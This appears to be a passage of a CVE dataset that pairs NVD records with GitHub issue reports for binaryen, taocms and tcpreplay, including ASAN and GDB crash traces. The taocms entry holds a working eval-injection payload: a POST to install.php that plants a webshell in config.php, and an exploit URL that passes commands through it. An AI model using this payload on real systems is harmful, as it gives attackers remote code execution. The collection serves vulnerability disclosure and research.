/home/wencheng/Documents/CLib/llvm-6.0.1/projects/compiler-rt/lib/sanitizer_common/sanitizer_allocator.cc:241 #4 0x50e307 in __asan::asan_memalign(unsigned long, unsigned long, __sanitizer::BufferedStackTrace, __asan::AllocType) /home/wencheng/Documents/CLib/llvm-6.0.1/projects/compiler-rt/lib/asan/asan_allocator.cc:900 #5 0x60121f in operator new(unsigned long) /home/wencheng/Documents/CLib/llvm-6.0.1/projects/compiler-rt/lib/asan/asan_new_delete.cc:92 #6 0x89ae8b in __gnu_cxx::new_allocator<char>::allocate(unsigned long, void const) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/ext/new_allocator.h:111:27 #7 0x89ae8b in std::allocator_traits<std::allocator<char> >::allocate(std::allocator<char>&, unsigned long) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/alloc_traits.h:436 #8 0x89ae8b in std::_Vector_base<char, std::allocator<char> >::_M_allocate(unsigned long) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/stl_vector.h:172 #9 0x89ae8b in std::vector<char, std::allocator<char> >::_M_default_append(unsigned long) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/vector.tcc:571 #10 0x89ae8b in std::vector<char, std::allocator<char> >::resize(unsigned long) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/stl_vector.h:692 #11 0x840f67 in wasm::WasmBinaryBuilder::readUserSection(unsigned long) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:723:18 #12 0x81412a in wasm::WasmBinaryBuilder::read() /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:692:9 #13 0x912c7d in wasm::ModuleReader::readBinary(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-io.cpp:52:10 #14 0x915750 in wasm::ModuleReader::read(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-io.cpp:71:5 #15 0x60aa08 in main /home/wencheng/Documents/FuzzingObject/binaryen/src/tools/wasm-merge.cpp:617:16 #16 0x7f7b2fdad82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #17 0x508d58 in _start (/home/wencheng/Documents/FuzzingObject/binaryen/build/bin/wasm-merge+0x508d58) ``` 2. possibly invalid request for silly amounts of memory Use "wasm-opt $POC" to reproduce the error. [POC2.zip](https://github.com/WebAssembly/binaryen/files/2752001/POC2.zip) Program Output ``` Fatal: error in building module, std::bad_alloc (possibly invalid request for silly amounts of memory) ``` The ASAN dumps the stack trace as follows: ``` ==22673==WARNING: AddressSanitizer failed to allocate 0xffffffffffffffff bytes ==22673==AddressSanitizer's allocator is terminating the process instead of returning 0 ==22673==If you don't like this behavior set allocator_may_return_null=1 ==22673==AddressSanitizer CHECK failed: /home/wencheng/Documents/CLib/llvm-6.0.1/projects/compiler-rt/lib/sanitizer_common/sanitizer_allocator.cc:225 "((0)) != (0)" (0x0, 0x0) #0 0x5e2705 in __asan::AsanCheckFailed(char const, int, char const, unsigned long long, unsigned long long) /home/wencheng/Documents/CLib/llvm-6.0.1/projects/compiler-rt/lib/asan/asan_rtl.cc:69 #1 0x5fffc5 in __sanitizer::CheckFailed(char const, int, char const, unsigned long long, unsigned long long) /home/wencheng/Documents/CLib/llvm-6.0.1/projects/compiler-rt/lib/sanitizer_common/sanitizer_termination.cc:79 #2 0x5e8b06 in __sanitizer::ReportAllocatorCannotReturnNull() /home/wencheng/Documents/CLib/llvm-6.0.1/projects/compiler-rt/lib/sanitizer_common/sanitizer_allocator.cc:225 #3 0x5e8b46 in __sanitizer::ReturnNullOrDieOnFailure::OnBadRequest() /home/wencheng/Documents/CLib/llvm-6.0.1/projects/compiler-rt/lib/sanitizer_common/sanitizer_allocator.cc:241 #4 0x51ec37 in __asan::asan_memalign(unsigned long, unsigned long, __sanitizer::BufferedStackTrace, __asan::AllocType) /home/wencheng/Documents/CLib/llvm-6.0.1/projects/compiler-rt/lib/asan/asan_allocator.cc:900 #5 0x611b4f in operator new(unsigned long) /home/wencheng/Documents/CLib/llvm-6.0.1/projects/compiler-rt/lib/asan/asan_new_delete.cc:92 #6 0xa0537b in __gnu_cxx::new_allocator<char>::allocate(unsigned long, void const) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/ext/new_allocator.h:111:27 #7 0xa0537b in std::allocator_traits<std::allocator<char> >::allocate(std::allocator<char>&, unsigned long) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/alloc_traits.h:436 #8 0xa0537b in std::_Vector_base<char, std::allocator<char> >::_M_allocate(unsigned long) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/stl_vector.h:172 #9 0xa0537b in std::vector<char, std::allocator<char> >::_M_default_append(unsigned long) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/vector.tcc:571 #10 0xa0537b in std::vector<char, std::allocator<char> >::resize(unsigned long) /usr/lib/gcc/x86_64-linux-gnu/7.3.0/../../../../include/c++/7.3.0/bits/stl_vector.h:692 #11 0x9ab457 in wasm::WasmBinaryBuilder::readUserSection(unsigned long) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:723:18 #12 0x97e61a in wasm::WasmBinaryBuilder::read() /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-binary.cpp:692:9 #13 0xa7ebfd in wasm::ModuleReader::readBinary(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-io.cpp:52:10 #14 0xa816d0 in wasm::ModuleReader::read(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >, wasm::Module&, std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> >) /home/wencheng/Documents/FuzzingObject/binaryen/src/wasm/wasm-io.cpp:71:5 #15 0x624a39 in main /home/wencheng/Documents/FuzzingObject/binaryen/src/tools/wasm-opt.cpp:144:14 #16 0x7f262eb2482f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #17 0x519688 in _start (/home/wencheng/Documents/FuzzingObject/binaryen/build/bin/wasm-opt+0x519688) ```	Out of Memory Problem in function wasm::WasmBinaryBuilder::readUserSection(unsigned long)	https://api.github.com/repos/WebAssembly/binaryen/issues/1866/comments	1	2019-01-12T12:56:27Z	2019-01-16T19:15:11Z	https://github.com/WebAssembly/binaryen/issues/1866	398,551,981	1,866
CVE-2019-7720	2019-02-11T04:29:00.357	taocms through 2014-05-24 allows eval injection by placing PHP code in the install.php db_name parameter and then making a config.php request.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "HIGH", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 7.5, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 10, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0" }, "exploitabilityScore": 3.9, "impactScore": 5.9, "source": "[email protected]", "type": "Primary" } ], "cvssMetricV31": null }	[ { "source": "[email protected]", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/taogogo/taocms/issues/1" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:taogogo:taocms::::::::", "matchCriteriaId": "7A9D5CD7-C9B3-44BD-9BE6-CEB7FDDCD031", "versionEndExcluding": null, "versionEndIncluding": "2014-05-24", "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/taogogo/taocms/issues/1	[ "Exploit", "Issue Tracking", "Third Party Advisory" ]	github.com	[ "taogogo", "taocms" ]	In the CMS installation process, the configuration file filtering is not rigorous, you can insert malicious code in the installation process to execute arbitrary commands, and even get Webshell Source: ./install.php:234-238 $configs=file_get_contents('config.php'); $_POST['tb']&&$configs=str_replace('define(\'TB\', \''.TB.'\');','define(\'TB\', \''.$_POST['tb'].'\');',$configs); $_POST['db']&&$configs=str_replace('define(\'DB\', \''.DB.'\');','define(\'DB\', \''.$_POST['db'].'\');',$configs); $_POST['db_name']&&$configs=str_replace('define(\'DB_NAME\', \''.DB_NAME.'\');','define(\'DB_NAME\', \''.$_POST['db_name'].'\');',$configs); file_put_contents('config.php',$configs); payload： /taocms-master/install.php [POST]db=Mysql&db_name=%7C127.0.0.1%3A3306%7Croot%7Croot%7Cwity%7C');assert($_REQUEST['cmd']);//&tb=test&Submit=%E7%82%B9%E5%87%BB%E6%AD%A4%E5%A4%84%E5%BC%80%E5%A7%8B%E5%AE%89%E8%A3%85%E5%85%8D%E8%B4%B9%E5%BC%80%E6%BA%90%E7%9A%84taoCMS%E7%B3%BB%E7%BB%9F ![image](https://user-images.githubusercontent.com/9081952/51842813-b4d73480-234c-11e9-91e8-bc2b0288e9d2.png) exploit: http://127.0.0.1/taocms-master/config.php?cmd=phpinfo(); ![image](https://user-images.githubusercontent.com/9081952/51842540-1519a680-234c-11e9-9df3-706c9b84ec9a.png)	one can insert malicious code in the installation process to get a web shell	https://api.github.com/repos/taogogo/taocms/issues/1/comments	2	2019-01-28T14:34:00Z	2021-03-03T17:01:24Z	https://github.com/taogogo/taocms/issues/1	403,842,977	1
CVE-2019-8376	2019-02-17T02:29:00.223	An issue was discovered in Tcpreplay 4.3.1. A NULL pointer dereference occurred in the function get_layer4_v6() located at get.c. This can be triggered by sending a crafted pcap file to the tcpreplay-edit binary. It allows an attacker to cause a Denial of Service (Segmentation fault) or possibly have unspecified other impact.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1" }, "exploitabilityScore": 1.8, "impactScore": 5.9, "source": "[email protected]", "type": "Primary" } ] }	[ { "source": "[email protected]", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "http://www.securityfocus.com/bid/107085" }, { "source": "[email protected]", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/appneta/tcpreplay/issues/537" }, { "source": "[email protected]", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/4V3SADKXUSHWTVAPU3WLXBDEQUHRA6ZO/" }, { "source": "[email protected]", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/EB3ASS7URTIA3IFSBL2DIWJAFKTBJCAW/" }, { "source": "[email protected]", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/MLPY6W7Z7G6PF2JN4LXXHCACYLD4RBG6/" }, { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://research.loginsoft.com/bugs/null-pointer-dereference-vulnerability-in-function-get_layer4_v6-tcpreplay-4-3-1/" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:broadcom:tcpreplay:4.3.1:::::::", "matchCriteriaId": "506090EE-F5FE-45E6-AC69-809C66AB5F6A", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null }, { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:o:fedoraproject:fedora:28:::::::", "matchCriteriaId": "DC1BD7B7-6D88-42B8-878E-F1318CA5FCAF", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:o:fedoraproject:fedora:29:::::::", "matchCriteriaId": "D100F7CE-FC64-4CC6-852A-6136D72DA419", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:o:fedoraproject:fedora:30:::::::", "matchCriteriaId": "97A4B8DF-58DA-4AB6-A1F9-331B36409BA3", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/appneta/tcpreplay/issues/537	[ "Exploit", "Issue Tracking", "Third Party Advisory" ]	github.com	[ "appneta", "tcpreplay" ]	Description - we observed a NULL pointer dereference occured in function get_layer4_v6 () located at get.c .The same be triggered by sending a crafted pcap file to the tcpreplay-edit binary. It allows an attacker to cause Denial of Service (Segmentation fault) or possibly have unspecified other impact. Command - tcpreplay-edit -r 80:84 -s 20 -b -C -m 1500 -P --oneatatime -i $INTERFACE $POC POC - [REPRODUCER](https://github.com/SegfaultMasters/covering360/blob/master/tcpreplay/NP_REPL?raw=true) Debug - GDB - ``` Program received signal SIGSEGV, Segmentation fault. [ Legend: Modified register \| Code \| Heap \| Stack \| String ] ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ──── $rax : 0x0 $rbx : 0x00005555557b7bb8 → 0x0000337330706e65 ("enp0s3"?) $rcx : 0xfb $rdx : 0x334 $rsp : 0x00007fffffffd8f0 → 0x000000fbffffd940 $rbp : 0x00007fffffffd920 → 0x00007fffffffd990 → 0x00007fffffffd9d0 → 0x00007fffffffda70 → 0x00007fffffffdbc0 → 0x00007fffffffdd10 → 0x00007fffffffdd40 → 0x00007fffffffddd0 $rsi : 0x123 $rdi : 0x00005555557be236 → 0x6e0000000000cb00 $rip : 0x000055555557674a → <get_layer4_v6+222> movzx eax, BYTE PTR [rax] $r8 : 0x2f $r9 : 0x00005555557be200 → 0x0000000000000000 $r10 : 0x00005555557b9700 → 0x0000000000000000 $r11 : 0x00007ffff78d6000 → <__fread_chk+0> push r13 $r12 : 0x00007ffff7bbb954 → 0x6800424d30314e45 ("EN10MB"?) $r13 : 0x00007fffffffe2f0 → 0x000000000000000e $r14 : 0x0 $r15 : 0x0 $eflags: [zero CARRY PARITY adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification] $cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ──── 0x00007fffffffd8f0│+0x0000: 0x000000fbffffd940 ← $rsp 0x00007fffffffd8f8│+0x0008: 0x00005555557be20e → 0x0000322ffb000062 ("b"?) 0x00007fffffffd900│+0x0010: 0x0000000000000000 0x00007fffffffd908│+0x0018: 0x000001230000002a (""?) 0x00007fffffffd910│+0x0020: 0x00005555557be236 → 0x6e0000000000cb00 0x00007fffffffd918│+0x0028: 0x0000000000000000 0x00007fffffffd920│+0x0030: 0x00007fffffffd990 → 0x00007fffffffd9d0 → 0x00007fffffffda70 → 0x00007fffffffdbc0 → 0x00007fffffffdd10 → 0x00007fffffffdd40 → 0x00007fffffffddd0 ← $rbp 0x00007fffffffd928│+0x0038: 0x00005555555695b0 → <do_checksum+224> mov rdx, rax ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x55555557673d <get_layer4_v6+209> call 0x555555576798 <get_ipv6_next> 0x555555576742 <get_layer4_v6+214> mov QWORD PTR [rbp-0x8], rax 0x555555576746 <get_layer4_v6+218> mov rax, QWORD PTR [rbp-0x8] → 0x55555557674a <get_layer4_v6+222> movzx eax, BYTE PTR [rax] 0x55555557674d <get_layer4_v6+225> mov BYTE PTR [rbp-0x19], al 0x555555576750 <get_layer4_v6+228> mov rax, QWORD PTR [rbp-0x8] 0x555555576754 <get_layer4_v6+232> mov QWORD PTR [rbp-0x10], rax 0x555555576758 <get_layer4_v6+236> jmp 0x555555576791 <get_layer4_v6+293> 0x55555557675a <get_layer4_v6+238> mov eax, 0x0 ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── source:get.c+410 ──── 405 case TCPR_IPV6_NH_DESTOPTS: 406 case TCPR_IPV6_NH_HBH: 407 dbgx(3, "Going deeper due to extension header 0x%02X", proto); 408 maxlen = len - (int)((u_char )ip6_hdr - (u_char )next); 409 exthdr = get_ipv6_next(next, maxlen); // exthdr=0x00007fffffffd918 → 0x0000000000000000 → 410 proto = exthdr->ip_nh; 411 next = exthdr; 412 break; 413 414 / 415 * Can't handle. Unparsable IPv6 fragment/encrypted data ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: "tcpreplay-edit", stopped, reason: SIGSEGV ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x55555557674a → get_layer4_v6(ip6_hdr=0x5555557be20e, len=0xfb) [#1] 0x5555555695b0 → do_checksum(tcpedit=0x5555557b86c0, data=0x5555557be20e "b", proto=0x8, len=0xfb) [#2] 0x555555565fbc → fix_ipv4_checksums(tcpedit=0x5555557b86c0, pkthdr=0x7fffffffdb50, ip_hdr=0x5555557be20e) [#3] 0x555555564991 → tcpedit_packet(tcpedit=0x5555557b86c0, pkthdr=0x7fffffffdac0, pktdata=0x7fffffffdab0, direction=TCPR_DIR_C2S) [#4] 0x55555555c589 → send_packets(ctx=0x5555557aa260, pcap=0x5555557ba860, idx=0x0) [#5] 0x555555563169 → replay_file(ctx=0x5555557aa260, idx=0x0) [#6] 0x555555562a1b → tcpr_replay_index(ctx=0x5555557aa260) [#7] 0x555555562341 → tcpreplay_replay(ctx=0x5555557aa260) [#8] 0x55555555f112 → main(argc=0x1, argv=0x7fffffffe360) gef➤ p exthdr->ip_nh Cannot access memory at address 0x0 ```	NULL pointer dereference in get_layer4_v6()	https://api.github.com/repos/appneta/tcpreplay/issues/537/comments	2	2019-02-12T09:07:37Z	2019-03-12T20:03:12Z	https://github.com/appneta/tcpreplay/issues/537	409,191,160	537
CVE-2019-8377	2019-02-17T02:29:00.283	An issue was discovered in Tcpreplay 4.3.1. A NULL pointer dereference occurred in the function get_ipv6_l4proto() located at get.c. This can be triggered by sending a crafted pcap file to the tcpreplay-edit binary. It allows an attacker to cause a Denial of Service (Segmentation fault) or possibly have unspecified other impact.	{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 6.8, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "[email protected]", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "baseScore": 7.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1" }, "exploitabilityScore": 1.8, "impactScore": 5.9, "source": "[email protected]", "type": "Primary" } ] }	[ { "source": "[email protected]", "tags": [ "Third Party Advisory", "VDB Entry" ], "url": "http://www.securityfocus.com/bid/107085" }, { "source": "[email protected]", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/appneta/tcpreplay/issues/536" }, { "source": "[email protected]", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/4V3SADKXUSHWTVAPU3WLXBDEQUHRA6ZO/" }, { "source": "[email protected]", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/4YAT4AGTHQKB74ETOQPJMV67TSDIAPOC/" }, { "source": "[email protected]", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/EB3ASS7URTIA3IFSBL2DIWJAFKTBJCAW/" }, { "source": "[email protected]", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/MLPY6W7Z7G6PF2JN4LXXHCACYLD4RBG6/" }, { "source": "[email protected]", "tags": null, "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/UOSEIQ3D2OONCJEVMGC2TYBC2QX4E5EJ/" }, { "source": "[email protected]", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://research.loginsoft.com/bugs/null-pointer-dereference-vulnerability-in-function-get_ipv6_l4proto-tcpreplay-4-3-1/" } ]	[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:broadcom:tcpreplay:4.3.1:::::::", "matchCriteriaId": "506090EE-F5FE-45E6-AC69-809C66AB5F6A", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null }, { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:o:fedoraproject:fedora:28:::::::", "matchCriteriaId": "DC1BD7B7-6D88-42B8-878E-F1318CA5FCAF", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:o:fedoraproject:fedora:29:::::::", "matchCriteriaId": "D100F7CE-FC64-4CC6-852A-6136D72DA419", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:o:fedoraproject:fedora:30:::::::", "matchCriteriaId": "97A4B8DF-58DA-4AB6-A1F9-331B36409BA3", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:o:fedoraproject:fedora:31:::::::", "matchCriteriaId": "80F0FA5D-8D3B-4C0E-81E2-87998286AF33", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true }, { "criteria": "cpe:2.3:o:fedoraproject:fedora:32:::::::", "matchCriteriaId": "36D96259-24BD-44E2-96D9-78CE1D41F956", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]	https://github.com/appneta/tcpreplay/issues/536	[ "Exploit", "Issue Tracking", "Third Party Advisory" ]	github.com	[ "appneta", "tcpreplay" ]	Description - we observed a NULL pointer dereference occured in function` get_ipv6_l4proto()` located at `get.c` .The same be triggered by sending a crafted pcap file to the tcpreplay-edit binary. It allows an attacker to cause Denial of Service (Segmentation fault) or possibly have unspecified other impact. Command - tcpreplay-edit -r 80:84 -s 20 -b -C -m 1500 -P --oneatatime -i $INTERFACE $POC POC - [REPRODUCER](https://github.com/SegfaultMasters/covering360/blob/master/tcpreplay/TR_NP?raw=true) Debug - GDB - ``` Program received signal SIGSEGV, Segmentation fault. [ Legend: Modified register \| Code \| Heap \| Stack \| String ] ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ registers ]──── $rax : 0x0 $rbx : 0x5555557aac20 → 0x00005555557b56a0 → 0x0000337330706e65 ("enp0s3"?) $rcx : 0xed $rdx : 0x8 $rsp : 0x7fffffffdad0 → 0x000000c5ffffdb20 $rbp : 0x7fffffffdb00 → 0x00007fffffffdb70 → 0x00007fffffffdbb0 → 0x00007fffffffdc50 → 0x00007fffffffdda0 → 0x00007fffffffdef0 → 0x00007fffffffdf20 → 0x00007fffffffdfb0 $rsi : 0xc5 $rdi : 0x7ffff7fcd6ae → 0x7ffff7b8f5600000 $rip : 0x55555557694c → <get_ipv6_l4proto+194> movzx eax, BYTE PTR [rax] $r8 : 0x2f $r9 : 0x7ffff7e4d010 → 0x0000000000000000 $r10 : 0x5555557b9700 → 0x0000000000000000 $r11 : 0x7ffff78d6000 → <__fread_chk+0> push r13 $r12 : 0x5555555599e0 → <_start+0> xor ebp, ebp $r13 : 0x7fffffffe4d0 → 0x000000000000000e $r14 : 0x0 $r15 : 0x0 $eflags: [zero CARRY PARITY adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification] $fs: 0x0000 $ds: 0x0000 $ss: 0x002b $es: 0x0000 $gs: 0x0000 $cs: 0x0033 ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ stack ]──── 0x00007fffffffdad0│+0x00: 0x000000c5ffffdb20 ← $rsp 0x00007fffffffdad8│+0x08: 0x00007ffff7e4d01e → 0x80000000ed000062 ("b"?) 0x00007fffffffdae0│+0x10: 0x00000a555c5ace1f 0x00007fffffffdae8│+0x18: 0x00fdebbbffffdb70 0x00007fffffffdaf0│+0x20: 0x00007ffff7fcd6ae → 0x7ffff7b8f5600000 0x00007fffffffdaf8│+0x28: 0x0000000000000000 0x00007fffffffdb00│+0x30: 0x00007fffffffdb70 → 0x00007fffffffdbb0 → 0x00007fffffffdc50 → 0x00007fffffffdda0 → 0x00007fffffffdef0 → 0x00007fffffffdf20 → 0x00007fffffffdfb0 ← $rbp 0x00007fffffffdb08│+0x38: 0x0000555555569599 → <do_checksum+201> movzx eax, al ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:i386:x86-64 ]──── 0x55555557693f <get_ipv6_l4proto+181> call 0x555555576798 <get_ipv6_next> 0x555555576944 <get_ipv6_l4proto+186> mov QWORD PTR [rbp-0x8], rax 0x555555576948 <get_ipv6_l4proto+190> mov rax, QWORD PTR [rbp-0x8] → 0x55555557694c <get_ipv6_l4proto+194> movzx eax, BYTE PTR [rax] 0x55555557694f <get_ipv6_l4proto+197> mov BYTE PTR [rbp-0x11], al 0x555555576952 <get_ipv6_l4proto+200> mov rax, QWORD PTR [rbp-0x8] 0x555555576956 <get_ipv6_l4proto+204> mov QWORD PTR [rbp-0x10], rax 0x55555557695a <get_ipv6_l4proto+208> jmp 0x555555576962 <get_ipv6_l4proto+216> 0x55555557695c <get_ipv6_l4proto+210> movzx eax, BYTE PTR [rbp-0x11] ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ source:get.c+539 ]──── 534 case TCPR_IPV6_NH_ROUTING: 535 case TCPR_IPV6_NH_DESTOPTS: 536 case TCPR_IPV6_NH_HBH: 537 dbgx(3, "Jumping to next extension header (0x%hhx)", proto); 538 exthdr = get_ipv6_next((struct tcpr_ipv6_ext_hdr_base )ptr, len); // exthdr=0x00007fffffffdaf8 → 0x0000000000000000 → 539 proto = exthdr->ip_nh; 540 ptr = (u_char )exthdr; 541 break; 542 543 /* should be TCP, UDP or the like */ 544 default: ─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]──── [#0] Id 1, Name: "tcpreplay-edit", stopped, reason: SIGSEGV ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]──── [#0] 0x55555557694c → Name: get_ipv6_l4proto(ip6_hdr=0x7ffff7e4d01e, len=0xc5) [#1] 0x555555569599 → Name: do_checksum(tcpedit=0x5555557b86c0, data=0x7ffff7e4d01e "b", proto=0x0, len=0xed) [#2] 0x555555565fbc → Name: fix_ipv4_checksums(tcpedit=0x5555557b86c0, pkthdr=0x7fffffffdd30, ip_hdr=0x7ffff7e4d01e) 